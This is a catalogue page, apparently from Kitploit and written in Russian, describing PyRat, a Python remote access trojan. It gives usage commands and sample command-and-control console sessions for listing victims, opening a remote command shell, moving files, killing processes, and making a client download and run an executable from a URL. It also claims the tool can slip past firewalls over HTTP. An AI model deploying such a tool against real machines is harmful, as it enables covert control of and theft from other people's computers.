Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PyRat — PyRat, RAT на python xmlrpc | Kitploit
Инструменты/GitHubGitHub/anhkgg/pyrat
Пост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubanhkgg/pyrat

PyRat

PyRat, RAT на python xmlrpc

Репозиторий
161538 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PyRat

PyRat — это open-source проект удалённого управления (RAT), реализованный на Python с использованием XmlRPC, включающий клиент и сервер (также называемый управляющей стороной; далее — сервер).

Заявление: проект предназначен только для технического обмена, не используйте его в коммерческих или незаконных целях. Автор не несёт ответственности за любые юридические последствия!

  1. Так как XmlRPC работает поверх HTTP, PyRat может обходить межсетевые экраны и более элегантно осуществлять связь и управление.
  2. Благодаря кроссплатформенности Python клиент PyRat поддерживает такие платформы, как Windows/Linux/MacOS; в настоящее время протестирована поддержка Windows/Ubuntu/MacOS.
  3. Управление и администрирование сервера через командную строку — очень стильно.
  4. Сейчас клиент поддерживает базовую информацию, загрузку, скачивание, cmdshell, запуск программ, завершение процессов, обновление, удаление и другие функции.

Зависимости

  1. python2.7
  2. colorama (сервер)

TODO

  1. Добавить больше функций: операции с файлами, пакетная передача файлов с докачкой, удалённый рабочий стол, скриншоты, управление учётными записями и т.д.
  2. Визуализация сервера
  3. Интерактивный shell
  4. Шифрованный туннель
  5. SSH / SCP
  6. Приветствуются PR

Основное использование

Клиент

root@kitploit:~
> python .\pyratcli.py localhost 80

Сервер

root@kitploit:~
> python pyratsvr.py 80
--------------------Python RAT-----------------------
--------------------anhkgg---------------------------
--------------------Copyright (c) 2018---------------

软件仅供技术交流,请勿用于商业及非法用途,如产生法律纠纷与本人无关!

--------------------Task command---------------------
--|(l)ist (a)live (k)ill (s)elect (p)rint (c)mdshell (n)ew (d)ownload (r)unexec (u)pload (t)erminate (q)uit (h)elp|--

cmd >

Когда клиент появляется в сети, сервер выводит уведомление и автоматически устанавливает последний подключившийся клиент как цель по умолчанию.

root@kitploit:~
cmd >test-3333333 is online.
Auto set target test-3333333

help или h выводит список всех команд, поддерживаемых сервером.

root@kitploit:~
cmd >help
(l)ist:     list all clients
(a)live:    list alive clients
(k)ill:     delete client
(s)elect:   select target client
(p)rint:    show current client
(c)mdshell: create a cmdshell, type q to exit cmdshell
(n)ew:      update client version
(d)ownload: let client download a file
(r)unexec:  let client run a exe
(u)pload:   upload a file to client
(t)erminate:terminate process
(q)uit:     quit server

Управление клиентами

Сервер использует sqlite для хранения базовой информации о клиентах и данных о задачах; управление клиентами осуществляется командами.

root@kitploit:~
//枚举所有客户端
cmd >l
test-3333333 offline 2018-03-20 22:46:59!
id     | client_id                  | version  | localip              | remoteip             | username             | osversion  | firsttime            | lasttime             | status
10     | test-3333333     | 0.1.0    | 192.168.149.1        | 114.245.47.12        | test            | Windows10.0.16299 | 2018-03-17 12:39:56  | 2018-03-20 22:46:59  | 0
cmd >
//枚举在线客户端
cmd >a
no alive client
//删除客户端数据库记录或者卸载客户端
cmd >k
target cid(or ALL):test-3333333
Do you want to uninstall client?(Y/N)

Для управления клиентом необходимо выбрать целевой клиент с помощью select или s.

root@kitploit:~
cmd >c //想进入cmdshell,提示无目标
Please first set target client by (s)elect command.
cmd >s //设置目标
client_id:test-3333333
Set target client: test-3333333
//查看当前目标
cmd >p
test-3333333

cmdshell

Войти в cmdshell можно командой cmdshell или c. Вы остаётесь в cmdshell до тех пор, пока не введёте q.

cmdshell запоминает рабочую директорию (например, cd c:) — следующая операция будет выполняться в этой директории, реализуя cmdshell, подобный подключению через канал.

Кроме того, запуск процессов через cmdshell может блокировать возврат сообщений, поэтому вместо этого рекомендуется использовать runexec.

root@kitploit:~
cmd >c
RAT-CMD > dir
RAT-CMD > test-3333333 do cmdshell(195) dir True
 驱动器 D 中的卷是 gitrepo
 卷的序列号是 EB2F-5AC0

 D:\PyRat\client 的目录

2018/02/24  09:40    <DIR>          .
2018/02/24  09:40    <DIR>          ..
2018/03/20  22:46             4,919 pyratcli.py
2018/03/20  23:01                28 cmd.log
2018/03/17  12:39             1,322 pyratfc.py
2018/03/17  11:19             2,500 osver.py
2018/03/17  12:39             2,161 pyratfc.pyc
               5 个文件         10,930 字节
               2 个目录 647,836,565,504 可用字节

RAT-CMD > ver
RAT-CMD > test-3333333 do cmdshell(196) ver True

Microsoft Windows [版本 10.0.16299.309]

RAT-CMD > tasklist
RAT-CMD > test-3333333 do cmdshell(197) tasklist True

映像名称                       PID 会话名              会话#       内存使用
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0      3,564 K
smss.exe                       360 Services                   0        412 K
csrss.exe                      492 Services                   0      1,700 K
Calculator.exe               21656 RDP-Tcp#85                 1     56,772 K
RAT-CMD > tasklist |findstr Cal
RAT-CMD > test-3333333 do cmdshell(200) tasklist |findstr Cal True
Calculator.exe               21656 RDP-Tcp#85                 1     51,856 K
RAT-CMD > taskkill /IM Calculator.exe
RAT-CMD > test-3333333 do cmdshell(201) taskkill /IM Calculator.exe True
成功: 给进程 "Calculator.exe" 发送了终止信号,进程的 PID 为 21656。
RAT-CMD > taskkill /PID 21656
RAT-CMD > test-3333333 do cmdshell(202) taskkill /PID 21656 True
成功: 给进程发送了终止信号,进程的 PID 为 21656。

Работа с файлами

Поддерживаются загрузка и скачивание файлов. При скачивании можно получить как сетевой файл, так и локальный файл с сервера. Пока поддерживается только передача отдельных файлов.

root@kitploit:~
cmd >d
url(type N to download local file):N //选择下载本地文件
local file:db.db
dest path:db.db
cmd >test-3333333 do download(203) local db.db db.db True
download success

cmd >d
url(type N to download local file):https://dl.360safe.com/360/inst.exe //下载网络文件
dest path:inst.exe
cmd >test-3333333 do download(204) net https://dl.360safe.com/360/inst.exe inst.exe True
download success

Запуск программ

root@kitploit:~
cmd >r
run target:inst.exe
runexec inst.exe

Завершение процесса

root@kitploit:~
cmd > t
Select type(name/pid):name
process name:notepad.exe
cmd >test-3333333 do terminate(212) name notepad.exe True
成功: 给进程 "notepad.exe" 发送了终止信号,进程的 PID 为 25416。

Проблемы

  1. В ходе тестирования были обнаружены возможные проблемы с кодировкой.

Если клиент работает на Linux, а сервер на Windows, китайский текст может отображаться некорректно, потому что платформы используют разные кодировки. Пока это не обработано.

Пожертвования

img

Скачать инструмент